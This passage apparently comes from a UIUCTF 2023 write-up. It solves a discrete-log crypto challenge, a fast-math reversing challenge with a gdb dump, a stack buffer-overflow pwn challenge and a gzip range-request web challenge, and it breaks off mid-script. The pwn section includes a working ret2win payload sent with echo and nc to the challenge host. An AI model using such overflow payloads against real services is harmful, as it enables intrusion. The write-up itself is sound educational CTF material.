p_fs = [2, 19, 151, 577, 67061, 18279232319, 111543376699, 9213409941746658353293481]
e = p_fs[-1]
t = (p-1) // ell

print(pow(7, t, p))
print(pow(k, t, p))
# crack_the_safe$ python pre.py
#  2874921958440504604797627466936335381864476070281841795223
#  243520888574004127020636437512040223299982667282493152276

Then we run the following commands:

crack_the_safe$ cado-nfs.py -dlp -ell 9213409941746658353293481 target=2874921958440504604797627466936335381864476070281841795223 4170887899225220949299992515778389605737976266979828742347
[...]
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Discrete logarithm: 247.08/102.098
Info:root: If you want to compute one or several new target(s), run ./cado-nfs.py /tmp/cado.sw277cqc/p60.parameters_snapshot.0 target=[,,...]
Info:root: logbase = 689700230313623370222183478814904246546188182712829892313
Info:root: target = 2874921958440504604797627466936335381864476070281841795223
Info:root: log(target) = 8483029440103488262728827 mod ell
8483029440103488262728827

crack_the_safe$ cado-nfs.py /tmp/cado.sw277cqc/p60.parameters_snapshot.0 target=243520888574004127020636437512040223299982667282493152276
[...]
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Discrete logarithm: 325.79/124.619 # <- this time seems to be accumulative from the previoius run
Info:root: If you want to compute one or several new target(s), run ./cado-nfs.py /tmp/cado.sw277cqc/p60.parameters_snapshot.1 target=[,,...]
Info:root: logbase = 689700230313623370222183478814904246546188182712829892313
Info:root: target = 243520888574004127020636437512040223299982667282493152276
Info:root: log(target) = 1607529382666405025125600 mod ell
1607529382666405025125600

From the output we know the base is 6897002[…]9892313, and the log is 8483029440103488262728827 and 1607529382666405025125600 respectively. Now we just plug in the value, do CRT with the rest of the result, and we recover the flag.

uiuctf{Dl0g_w/__UnS4F3__pR1Me5_}

** Note that from the output above, we can see that the total time elapses for the two command is around 124.6 seconds, or around 2 minute. I’m running this on a basic 11th gen i7 laptop, which is relatively low computing power I’d say. So it’s not exactly fast, but reasonable for most computer. I think most computer can compute DLP using cado-nfs way faster than mine.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from subprocess import check_output

p = 4170887899225220949299992515778389605737976266979828742347
ct = bytes.fromhex("ae7d2e82a804a5a2dcbc5d5622c94b3e14f8c5a752a51326e42cda6d8efa4696")
k = 0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759

F = GF(p)
p_fs = [2, 19, 151, 577, 67061, 18279232319, 111543376699, 9213409941746658353293481]
ell = p_fs[-1]
remain = (p-1) // ell

# to send to cado_nfs
print(F(7)^(remain))
print(F(k)^(remain))

# from cado_nfs
# cado-nfs.py -dlp -ell 9213409941746658353293481 target=2874921958440504604797627466936335381864476070281841795223 4170887899225220949299992515778389605737976266979828742347
# cado-nfs.py /tmp/cado.vxkkpmj5/p60.parameters_snapshot.0 target=2874921958440504604797627466936335381864476070281841795223
log7, logk = 8483029440103488262728827, 1607529382666405025125600
logbase = 689700230313623370222183478814904246546188182712829892313

res = []
for prime in p_fs[:-1]:
    r = (p-1)//prime
    P7 = F(7)^r
    Pk = F(k)^r
    res.append(discrete_log(Pk, P7))

assert(F(logbase)^log7 == F(7)^remain)
assert(F(logbase)^logk == F(k)^remain)
full_log_ell = int(logk * pow(log7, -1, ell) % ell)
assert((F(7)^remain)^full_log_ell, F(k)^remain)

key = CRT(res+[full_log_ell], p_fs)

print(key)
assert(int(pow(7, key, p)) == k)
print(AES.new(long_to_bytes(int(key)),AES.MODE_ECB).decrypt(ct))

#uiuctf{Dl0g_w/__UnS4F3__pR1Me5_}

Reversing

Fast Calculator

Check out our new super fast calculator!

This challenge is sponsored by Battelle.

Author: Minh
Solves: 36

We are given a binary. After running it, it seems like the program is a simple calculator.

fast_calc$ ./calc
Welcome to the fastest, most optimized calculator ever!
Example usage:
  Add:       1 + 2
  Subtract:  10 - 24
  Multiply:  34 * 8
  Divide:    20 / 3
  Modulo:    60 % 9
  Exponent:  2 ^ 12

If you enter the correct secret operation, I might decrypt the flag for you! ^-^

Enter your operation: 1 + 1
Result: 2.000000
Enter your operation: 2 * 2
Result: 4.000000
Enter your operation:

Obviously we will not be able to guess the correctly operation, so let’s start decompiling the program. After looking at the code in ghidra, we get the rough pseudo code of the program as follow.

def main():
	flag = some_initial_flag_state
	sscanf("%lf %c %lf", lop, op, rop)
	res = calculate(op, lop, rop)
	if res == 8573.8567:
		for i in range(368):
			if guantlet(calculate(equations[i])):
				flip_bit(i, flag)
		print(flag)

Now we know the secret value, we can create an equation that result in that, like 8573.8567 + 0, and that should give us the flag, right? Running the program with that input gives us the following output.

fast_calc$ ./calc
Welcome to the fastest, most optimized calculator ever!
Example usage:
  Add:       1 + 2
  Subtract:  10 - 24
  Multiply:  34 * 8
  Divide:    20 / 3
  Modulo:    60 % 9
  Exponent:  2 ^ 12

If you enter the correct secret operation, I might decrypt the flag for you! ^-^

Enter your operation: 8573.8567 + 0
Result: 8573.856700

Correct! Attempting to decrypt the flag...
I calculated 368 operations, tested each result in the gauntlet, and flipped 119 bits in the encrypted flag!
Here is your decrypted flag:

uiuctf{This is a fake flag. You are too fast!}

Enter your operation:

Clearly there’s something wrong, but where? If we look into the guantlet function, this is the pseudo code:

char gauntlet(int param_1)

{
  char cVar1;
  
  cVar1 = isNegative(param_1);
  if (((cVar1 == '\0') && (cVar1 = isNotNumber(param_1), cVar1 == '\0')) &&
     (cVar1 = isInfinity(param_1), cVar1 == '\0')) {
    return 0;
  }
  return 1;
}

But if we look into the isNotNumber function and the isInfinity function, they are both empty:

char isNotNumber(void)
{
  return 0;
}
char isInfinity(void)
{
  return 0;
}

Seems like when the program is compiled, these checks are optimized out. What we can do now is to re-implement those checks outselves, or extract the equations and do the comprisons with the correct checks. I choose to hook gdb to printout the result of each equations and extract the bits from there. The initial state of the flag can be gathered statically from ghidra.

Using gdb, we can set break points at the start of the guantlet function, and gather the result of each calculation. I print out the rax register, which is indirectly used to pass the argument into the guantlet function (The series of mov rax, xmm0). Since I use gef-gdb, I disabled the context output so the display function shows up. With those set up, I just let the program run, enter the equation 8573.8567 + 0, and press continue a bunch of time to gather the output from gdb. I then do some string processing to determine if the result fits the gauntlet function criteria, and reconstruct the key bit strings from there.

The detail of the processing steps can be found in my solve script. I trime down the output from gdb and only leave the lines that displays the desire outputs. Note that -0.0 should be considered negative, which is likely coming from rounding a really small negative number. In my code, I simply match if there is a negative sign in the string or if nan is in the string, I didn’t check for inf as it doesn’t exist in the result.

During the after competition Q&A section, we learn that this discrepancy is caused by the -ffast-math optimization flag. According to the manual, this flag enables multiple optimization, which assumes that there are no negative zero, no infinite number, and no “Not a number”. This cause the function in this challenge to be optimized out and return the wrong results, like always return 0 for the isInfinite and isNotNumber functions.

Anyway, after recovering the results of the calculations, we can recover the correct flag: uiuctf{n0t_So_f45t_w1th_0bscur3_b1ts_of_MaThs}

from Crypto.Util.number import long_to_bytes
from pwn import xor, u64
from collections import namedtuple
import struct
flag_init = [0x10eeb90001e1c34b, 0xcb382178a4f04bee, 0xe84683ce6b212aea, 0xa0f5cf092c8ca741, 0x20a92860082772a1, 0x0000e9a435abb366]

## In gdb, run the following
## I have gef enable, so to disable the context command on break point
# gef config context.enable 0
## display the argument send into gauntlet function
# display/f $rax
## break at the function entry 
# break *gauntlet
## run and record the output at each break point
# continue

gauntlet_result_str = """1: /f $rax = 314.23572239497753
/f $rax = 343.1722504437929
/f $rax = -101.85126480640992
/f $rax = -0.14835009306536753
/f $rax = -70.145728960527265
/f $rax = -2.6849183740546723
/f $rax = -2.3380621927091738
/f $rax = 86.218782945280964
/f $rax = -3.3639097471103775e+173
/f $rax = 46094.822986351515
/f $rax = -67.229647073100352
/f $rax = 438.01221554209553
/f $rax = -62.22407895907827
/f $rax = 0.5686960704974473
/f $rax = -11.235858046371675
/f $rax = 45.736994758008109
/f $rax = -18.801101024741456
/f $rax = 411.84732421177659
/f $rax = 45.272562437363035
/f $rax = -0.37696866777117749
/f $rax = 88.471730127468447
/f $rax = -115.84593208858394
/f $rax = 4.7067980704139161e+81
/f $rax = 0.54632989995632775
/f $rax = 365.5900085787963
/f $rax = -12224407890038.037
/f $rax = -900.03969886574691
/f $rax = 192.03613945346399
/f $rax = 22794.907192724011
/f $rax = 5.5838341534360488e+102
/f $rax = -3.2637463171100762
/f $rax = 159.0671967048533
/f $rax = 30.011102835658335
/f $rax = -0.77702398729932365
/f $rax = -1.4816482051550224
/f $rax = -1.0767063255033242e+68
/f $rax = 129.41389307826773
/f $rax = -104.65344600547064
/f $rax = 257.8983468906606
/f $rax = 576.9359463423001
/f $rax = -0.47174390929966187
/f $rax = -4.1909544608317306
/f $rax = 0.23304225970708495
/f $rax = -84.792660796004725
/f $rax = -70341.035023618824
/f $rax = -8.3558344696096316e+64
/f $rax = -112.71915174806799
/f $rax = -0.77501348533601244
/f $rax = -0.79477368623462019
/f $rax = 138.55118925698957
/f $rax = 62867.158634785257
/f $rax = -3.000328242329492e+180
/f $rax = 2.1776919356209225e+151
/f $rax = -2.1194889785952991
/f $rax = 826.09998445102667
/f $rax = -360.78132147755349
/f $rax = 0.74474414688805379
/f $rax = -21.526343208515129
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -26.071269727239439
/f $rax = -0
/f $rax = 1.1862373081337182e+117
/f $rax = -195.86680296791417
/f $rax = -nan(0x8000000000000)
/f $rax = 51014.532345230917
/f $rax = -0
/f $rax = -0
/f $rax = -15.569984026884583
/f $rax = -54.755056250318489
/f $rax = 14200.373689706015
/f $rax = 218.53775827884192
/f $rax = 7.7720611029683001e+113
/f $rax = -54359.046985524998
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = -6.370935462591425e+103
/f $rax = -nan(0x8000000000000)
/f $rax = -493.83639903330982
/f $rax = 91.739040381445648
/f $rax = -0
/f $rax = 5.5930414556039505
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -648.15538239805801
/f $rax = -1.7360428852698293
/f $rax = -88380681806354.375
/f $rax = -0
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = 149.63032247415293
/f $rax = -1.4381306131731484e+175
/f $rax = -0
/f $rax = -0
/f $rax = 17796.731831557954
/f $rax = 472.60782602556361
/f $rax = 8.4333081523481042
/f $rax = -69.343045576994086
/f $rax = 166.97777525280043
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0.78663690221494187
/f $rax = 124.48452366441916
/f $rax = -24.166235583316563
/f $rax = -0
/f $rax = -91893.006289350305
/f $rax = -0
/f $rax = -0
/f $rax = -77.947739723395614
/f $rax = 351.31148102293406
/f $rax = 677.84610642219423
/f $rax = -0
/f $rax = 61017.564352902024
/f $rax = -730.71847028262323
/f $rax = -2.9862791904668937e+57
/f $rax = -0
/f $rax = -0
/f $rax = 0.46137120873229431
/f $rax = -1.5805958630033241
/f $rax = -nan(0x8000000000000)
/f $rax = -2047.9485377909623
/f $rax = -nan(0x8000000000000)
/f $rax = -279.92789568076961
/f $rax = -nan(0x8000000000000)
/f $rax = -3.5566717877102974e+160
/f $rax = -0
/f $rax = -35011.007801930165
/f $rax = -70.73409314339824
/f $rax = 0.13748648705254249
/f $rax = -nan(0x8000000000000)
/f $rax = -127.63031163891606
/f $rax = -nan(0x8000000000000)
/f $rax = -8.3377831242250409
/f $rax = -0
/f $rax = 73914.284889780072
/f $rax = -1.1205570846974704e+30
/f $rax = 868.91249403708673
/f $rax = -nan(0x8000000000000)
/f $rax = -3781.1025679452832
/f $rax = -398.23202773538833
/f $rax = -nan(0x8000000000000)
/f $rax = 6.150332565634857e+123
/f $rax = 106.92708315198797
/f $rax = -126958.01118794817
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = 2.3235637995996195
/f $rax = 1172.4570923687561
/f $rax = 282667694185.37067
/f $rax = 419.22101622342973
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = 1.5015581523042944e+106
/f $rax = 14.116915444637357
/f $rax = -670.80920696640771
/f $rax = -nan(0x8000000000000)
/f $rax = -40.175576810129257
/f $rax = -0
/f $rax = -535.08846436597457
/f $rax = -nan(0x8000000000000)
/f $rax = -24.996900828879973
/f $rax = -0.4482337253576606
/f $rax = -22075.351523103447
/f $rax = -nan(0x8000000000000)
/f $rax = -66629.115626130355
/f $rax = -0
/f $rax = 4.7736504866351757
/f $rax = -nan(0x8000000000000)
/f $rax = -750.41785743580328
/f $rax = -397.49355092611438
/f $rax = 421.45554904220558
/f $rax = 272.44106051590188
/f $rax = -39853.033198178338
/f $rax = 163773.34383559634
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0
/f $rax = 909.06916666172924
/f $rax = -17044.293607727042
/f $rax = 0.65923135526929078
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = 281.64059966529658
/f $rax = -2.8299636815986545e+135
/f $rax = -0
/f $rax = -0
/f $rax = 362.73719659653017
/f $rax = -nan(0x8000000000000)
/f $rax = -1.3883485850670447
/f $rax = -nan(0x8000000000000)
/f $rax = 93.153374984795107
/f $rax = 13.013689110180962
/f $rax = 1.9706463137115084
/f $rax = -nan(0x8000000000000)
/f $rax = -332.70825023576583
/f $rax = -0.14833759536673966
/f $rax = 9.9017259669548139
/f $rax = 31842.681577482257
/f $rax = 3.1202574779650742
/f $rax = -0
/f $rax = 16382.118960546628
/f $rax = -nan(0x8000000000000)
/f $rax = -6.7132868546727442e+184
/f $rax = -nan(0x8000000000000)
/f $rax = -174.78551375100216
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0
/f $rax = -1987.883710049279
/f $rax = -0
/f $rax = 318.67029200471404
/f $rax = -nan(0x8000000000000)
/f $rax = 65.16561987924581
/f $rax = 20.353222265520685
/f $rax = -0.73389327660335457
/f $rax = -266.24812381690595
/f $rax = -0
/f $rax = -0
/f $rax = 112.28331135754138
/f $rax = -775.0884636297726
/f $rax = -0
/f $rax = -123.49647710482895
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = 68.32948123433016
/f $rax = 42216.592524590371
/f $rax = -130.97917757842748
/f $rax = 29432.765402793259
/f $rax = -878.51164428076936
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0
/f $rax = 306.40280919331701
/f $rax = -0
/f $rax = -0.20570015125935212
/f $rax = -0
/f $rax = 47.573162560923492
/f $rax = 23.030280017535915
/f $rax = 378.44803504327092
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = 1.1328069324948051e+46
/f $rax = -210.34934864154206
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0
/f $rax = -0
/f $rax = -1.1007026146671162
/f $rax = -26.400390640113017
/f $rax = 397.48613844398091
/f $rax = 38525.844533000112
/f $rax = 30.648157313300999
/f $rax = 6.1955288111496536
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = 0.70927007491958105
/f $rax = -0
/f $rax = 1.8864493518170104e+26
/f $rax = 0.16905148155093813
/f $rax = 1.3585953817759831e+92
/f $rax = 181.19460341004981
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = 225.29942051219257
/f $rax = -185.39637228963687
/f $rax = 358.19308718059125
/f $rax = -0
/f $rax = 95.617280730657967
/f $rax = 64822.754928640163
/f $rax = -8.3805738251753192e+131
/f $rax = -nan(0x8000000000000)
/f $rax = 280.87137523260935
/f $rax = -0
/f $rax = -1.2639319359462708e+108
/f $rax = -nan(0x8000000000000)
/f $rax = -1.3969847218364998e+131
/f $rax = 0.14077936300692293
/f $rax = -0
/f $rax = -0
/f $rax = 5.319300019172033
/f $rax = 527.08403233634419
/f $rax = -nan(0x8000000000000)
/f $rax = -32.299552813442517
/f $rax = -nan(0x8000000000000)
/f $rax = -2.429700289221689e+81
/f $rax = -0
/f $rax = -0
/f $rax = 1.2655924566762723e+32
/f $rax = -0.92793953369268045
/f $rax = 219499.6079292119
/f $rax = 2.0876504455883737e+58
/f $rax = 1.6366868264419469e+113
/f $rax = -1.0405670972109875
/f $rax = -1.36021695876653e+144
/f $rax = -79.584542222673861
/f $rax = -146954.02785373406
/f $rax = -4.6878849674481635e+105
/f $rax = 5.2042273135353394
/f $rax = 68474.465419736342
/f $rax = -0
/f $rax = -263.87225021489024
/f $rax = -137.14753940351306
/f $rax = -nan(0x8000000000000)
/f $rax = 65.584892774741547
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = 1.8375862375292325e+61
/f $rax = 64.923792584856926
/f $rax = -0
/f $rax = 409.39159782790705
/f $rax = -nan(0x8000000000000)
/f $rax = 163.56416201962367
/f $rax = -0
/f $rax = -nan(0x8000000000000)
/f $rax = -7.6372145447543532e+61
/f $rax = -0.61724198201350899
/f $rax = 25447.55907409166
/f $rax = -41.845610177283163
/f $rax = 2.4896131626248281
/f $rax = 1.0207860141139902
/f $rax = -33941.712961799269
/f $rax = 7.8614623295186448
/f $rax = -3.8777423969773022
/f $rax = -0.68108037017455914
/f $rax = -0
/f $rax = -685.17496006588283
/f $rax = -8.0149697814365481
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0
/f $rax = 285.92254208579675
/f $rax = -287.40609702408972
/f $rax = 468.70035658374701
/f $rax = -nan(0x8000000000000)
/f $rax = -0
/f $rax = -0
/f $rax = 58.03201117994729
/f $rax = -4.0117609975907898e+151
/f $rax = -7.0854219349746412e+33
/f $rax = -0
/f $rax = 1.3966977676222205
/f $rax = -0
/f $rax = 93.01034943574615
/f $rax = -89.204424936891314
/f $rax = -0
/f $rax = -126.55669891797004
/f $rax = -613.57861842951388
/f $rax = 161.36487031616679
/f $rax = 178.73853880744343
/f $rax = -85.575377705299331
/f $rax = 8.5465193972006208e+26
/f $rax = -9.0363744286576492e+87
/f $rax = 8.2600129371691562
/f $rax = 0.0021326131099172149"""




flag_init_bytes = list(map(long_to_bytes, flag_init))
flag_init_bytes = b"".join(i[::-1] for i in flag_init_bytes) #fix endianness

gauntlet_result = [i.split(" = ")[-1] for i in gauntlet_result_str.split("\n")]
gauntlet_result_bits = ["1" if (i[0] == "-" or ("nan" in i)) else "0" for i in gauntlet_result]
gauntlet_result_bits = "".join(gauntlet_result_bits)

key = long_to_bytes(int(gauntlet_result_bits, 2))
print(xor(flag_init_bytes, key))
#uiuctf{n0t_So_f45t_w1th_0bscur3_b1ts_of_MaThs}

Pwn

Chainmail

I've come up with a winning idea to make it big in the Prodigy and Hotmail scenes (or at least make your email widespread)!

nc chainmail.chal.uiuc.tf 1337

Author: Emma
Solves: 256

#include 
#include 
#include 
#include 

void give_flag() {
    FILE *f = fopen("/flag.txt", "r");
    if (f != NULL) {
        char c;
        while ((c = fgetc(f)) != EOF) {
            putchar(c);
        }
    }
    else {
        printf("Flag not found!\n");
    }
    fclose(f);
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    char name[64];
    printf("Hello, welcome to the chain email generator! Please give the name of a recipient: ");
    gets(name);
    printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name);
    return 0;
}

In this challenge, we are given the source code. The challenge ask for a user input using gets, then print out the string after some formating. Notice that the input is taken using gets, this is a particularly dangerous function to use. Even the compiler warns you when using this function. But why is gets dangerous?

chainmail$ gcc chal.c -o chal
chal.c: In function main:
chal.c:27:5: warning: implicit declaration of function gets; did you mean fgets? [-Wimplicit-function-declaration]
   27 |     gets(name);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccOKvDUG.o: in function `main':
chal.c:(.text+0x103): warning: the `gets' function is dangerous and should not be used.

Well according to the functional specification, gets will keep reading input until a newline. This means that you can enter hundrads of characters and the function will not stop you. This combined with a finite buffer size means like you can control data on the stack.

There are a lot of useful thing stored on the stack, like the saved rbp to restore stack frame, and various local variable. But the most interesting one for exploitation purposes is the saved rip, which tells the program where to return back when this function ends. If we overwrite this value, the program will thing that this function is called by some weird location that we tell it, and resume execute from that location.

Now we know the vulnerability, let’s see how we can exploit this. We first check what protections are enabled on the compiled binary.

chainmail$ checksec ./chal
[*] '/mnt/c/Users/brons/ctf/uiucctf2023/chainmail/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Seems like only NX is enabled, which stands for Not-eXecutable stack. Since there is a function that print out the flag for us, this doesn’t matter for us. All we need to do is to redirect the control flow to the start of this function and it will give us the flag. If you want to learn more detail stack buffer overflow and how the function redirection works, this video by LiveOverflow is a great learning resource. Personally I learn a lot of the fundamentals from his playlist as well.

There are a lot of methods to find the location of give_flag, like opening in ghidra or use cli tools like readelf

chainmail$ readelf -s ./chal|grep give_flag
    27: 0000000000401216   114 FUNC    GLOBAL DEFAULT   15 give_flag

From this we can craft a payload: 64 as to fill the buffer, another 8 a as padding for saved rbp, and the print flag location in bytes (“\x16\x12\x40\x00\x00\x00\x00\x00”) for the save rip. This will overflow the stack, and after the main function ends, it will call the print flag function for us and this should print the flag, right?

If we send this payload, you’ll notice that it didn’t work, if we check with gdb you’ll notice that it segfault at some location. This is caused by stack alignment. In x86-64 abi convention, it requires the caller to maintain a 16 byte stack alignment. Quoted:

| The stack will always be maintained 16-byte aligned, except within the prolog (for example, after the return address is pushed), and except where indicated in Function Types for a certain class of frame functions.

But when we are calling the give_flag function, the stack actually isn’t aligned. This cause some libc function to freak out and break.

One way to fix this is to jump over the first push rbp instruction in give_flag. So instead of jumping to 0x401216, we’ll jump to 0x40121b. This aligns the stack and the program will no longer segfault. Another way is to insert a ret ROP gadget to move the stack down 0x8 byte, but I’ll omit the discussion about this technique here.

With that, all we need is to send the payload to remote and profit =D (See blow for the log of sending the payload to remote.)

flag: uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}

chainmail$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x12\x40\x00\x00\x00\x00\x00' | nc chainmail.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, welcome to the chain email generator! Please give the name of a recipient: Okay, here's your newly generated chainmail message!

Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,
Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!

Your friend,
Jim
uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}

Web

Future Disk 1/2 [*]

Overview

Ver 1:
I'm from the year 2123. Here's what I did:

-    Mounted my 10 exabyte flash drive
-    fallocate -l 8E haystack.bin
-    dd if=flag.txt bs=1 seek=[REDACTED] conv=notrunc of=haystack.bin
-    gzip haystack.bin
-    Put haystack.bin.gz on my web server for you to download

HTTP over Time Travel is a bit slow, so I hope gzipping it made it a little faster to download :)
https://futuredisk-web.chal.uiuc.tf/haystack.bin.gz

---
Ver 2:
Like futuredisk, but a little worse.

https://futuredisk2-web.chal.uiuc.tf/haystack2.bin.gz
---

Author: kuilin
Solves: 22 (Ver 1)/ 8 (Ver 2)

Disclaimer: I only solve this challenge (both version) after the competition. In the final solve, I already know that block alignment can be used for binary serach, and I know the block size pattern for part 2.

In this challenge, we see that the flag is placed in a gigantic file, compressed, then placed on a file server for us to download. But how are we suppose to download this file? Even if we have the storage, there’s no way we can recieve the file through the network. Clearly with this large of the file, we must have some way to efficiently search through it or to get a index of the flag by inspecting a known part of the file.

Observation

But first, we need to know what primitives we have. Let’s start with a basic recon. I start with curl with -v flag to get more information.

futuredisk$ curl -v -N https://futuredisk-web.chal.uiuc.tf/haystack.bin.gz --output - > /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 34.72.163.149:443...
[...]
> GET /haystack.bin.gz HTTP/2
> Host: futuredisk-web.chal.uiuc.tf
> user-agent: curl/7.68.0
> accept: */*
>
[...]
< HTTP/2 200
< accept-ranges: bytes
< content-type: application/octet-stream
< date: Thu, 06 Jul 2023 02:26:50 GMT
< etag: "1209f04b4-7fffffffffffffff"
< last-modified: Sat, 12 Jun 2123 16:07:16 GMT
< server: nginx/1.23.1
< content-length: 9223372036854775807
<
{ [5 bytes data]
  0 8191P    0  3813    0     0   2662      0 40102175  0:00:01 40102175  2664^C

From the trace, we can see that the full file will be 9223372036854775807 bytes, so yeah it’s impossible to get the full thing.

After some digging, I found the --continued-at argument to curl, which allow a user to start downloading from some offset. Looking at the log again, I notice that this is made possible by sending the range header. For example, if we include range: bytes=1-10, the server will only send bytes from byte 1 to 10. This basically allow the sender to decide what range of bytes the user wants to download from. More information about the range header can be found here

To utilized this, I wrote a helper function using python’s requests library. This will be used later.

# helper function to get bytes of certain range
# using the range header
def get_range(st, ed):
    headers = {'range':f"bytes={st}-{ed}"}
    print(headers)
    res = requests.get(url, headers=headers)
    return res._content # return raw bytes

File Strucutre

Now let’s inspect the actual file itself, well only part of it of course. We know that the file is compressed using gzip, maybe we can start by looking into the format for that. While searching up the header format, I found this website that goes into great detail in disecting a gzip file. This website is extremely helpful for me in understanding the file structure. We know that after the file header, the data is split into blocks, with each block having its own header and compression methods. I also found this blog that implements the deflate method in python so I can play around with it a little bit.

After augmenting the inflate code, I get to look at the huffman tables / block sizes / inflated sizes and some other information related to each block. Using the start of each file, we can observe the block sizes of each block.

futuredisk$ decode.py haystack1.gz
block 1: 193 bits
block 2: 65635 bits
block 3: 65634 bits
block 4: 65634 bits
block 5: 65634 bits
[...]
futuredisk$ decode.py haystack2.gz
block 1: 193 bits
block 2: 65635 bits
block 3: 106 bits
block 4: 108 bits
block 5: 110 bits
block 6: 112 bits
block 7: 114 bits
block 8: 116 bits
[...]

Binary Search

We can imaging the situation a little bit, lets say the flag is in the 10th block in a 20 block file. Since the file is mostly zero, we can assume the first 9 blocks will follow a pretty regular sequence. then there will be one block of a irregular size to store the flag, and the rest of the block back to the regular format. This means that if we can find the block header at the location we expects it, we haven’t reach the block containing the flag. Conversely, if we can’t find the block header, we have passed the flag block. The only challenge now is to calculate where the header bytes are.

Index calculation

For version 1, it’s simple as all blocks have the same size, so it’s a simple multiplication. For version 2, I’ll describe how I would have discover the pattern myself.

Firstly from the starting block, we know that after the first two block, it’s a steadily increasing sequence from 106 bit, I’ll just assume that this is the correct format and run the binary search with this formula. When it gets to the “flag” block, we can print out the following few blocks, and observe the pattern from there. For example, after the first block, the decrypted block size is as follow.

futuredisk$ solve.py 
[...]
32765
Found!!!
block 32765: 65634 bits
block 32766: 108 bits
block 32767: 110 bits
block 32768: 112 bits

And slowly the block size format can be discovered. The bit length format is as follow, where each number is a block.

# 106 108 110 ... 65634
#     108 110 ... 65634
#         110 ... 65634
#             ... 65634
#                 65634
# 106 108 110 ... 65634
#     108 110 ... 65634
#         110 ... 65634
#             ... 65634
#                 65634
# ... repeat
# 106 108 110 ... 65634
#     108 110 ... 65634
#         110 ... 65634
#             ... 65634
#                 65634

Given this format, it’s simple to come up with ways to calculate the block location with some math, I’ll omit the details here, but the detail can be found in the solve script.

After that, combined with our primitive, we can query for the flag location using binary search, and get the flag in the end.

Version1: uiuctf{binary search means searching a binary stream, right :D}

Version2: uiuctf{i sincerely hope that was not too contrived, deflate streams are cool}

# deflate taken from https://pyokagan.name/blog/2019-10-18-zlibinflate/
# modified to print out bit count of each block
import deflate
import requests
import math

VER = 2
if VER == 1:
    f = open("haystack1.gz", "rb").read()
else:
    f = open("haystack2.gz", "rb").read()

## check bit count of starting blocks
#content = deflate.BitReader(f)
#content.read_bytes(10)
#s = deflate.inflate(content, 10)

if VER == 1:
    url = "https://futuredisk-web.chal.uiuc.tf/haystack.bin.gz"
else:
    url = "https://futuredisk2-web.chal.uiuc.tf/haystack2.bin.gz"

# helper function to get bytes of certain range
# using the range header
def get_range(st, ed):
    headers = {'range':f"bytes={st}-{ed}"}
    print(headers)
    res = requests.get(url, headers=headers)
    return res._content

# count bits / bytes up to the given block index
def sum_block_size(idx):
    if VER == 1:
        # Fix block bits size
        bitcount = 87 + 65634*(idx-1)

    else:
        bitcount = 87 + 65634
        # bit len format:
        # 106 108 110 ... 65634
        #     108 110 ... 65634
        #         110 ...
        # =
        # 1 2 3 ... 32765
        #   2 3 ... 32765
        #     3 ... 32765
        # * 2 + 105 * n
        m = 32765
        actual_idx = idx-2
        big_cycle = actual_idx // (m * (m+1)//2)

        # iter count
        # 32765 + 32764 + ...
        # (32765 + (32766-x))*x//2 > actual_idx > (32765 + (32766 - (x-1)))*(x-1)//2
        big_cycle_bits = (m * (m+1) * (2*m+1))//6
        big_cycle_bits *= 2
        big_cycle_bits += 104 * (m * (m+1)//2)
        bitcount += big_cycle * big_cycle_bits

        remain = actual_idx % (m * (m+1)//2)
        cycle = 0
        total = 0
        while total + m - cycle < remain:
            st = 106 + cycle * 2
            ct = m - cycle
            ed = st + ct * 2  - 2
            total += ct
            bitcount += (st + ed) * (ct) // 2
            cycle += 1

        remain -= total
        st = 106 + cycle * 2
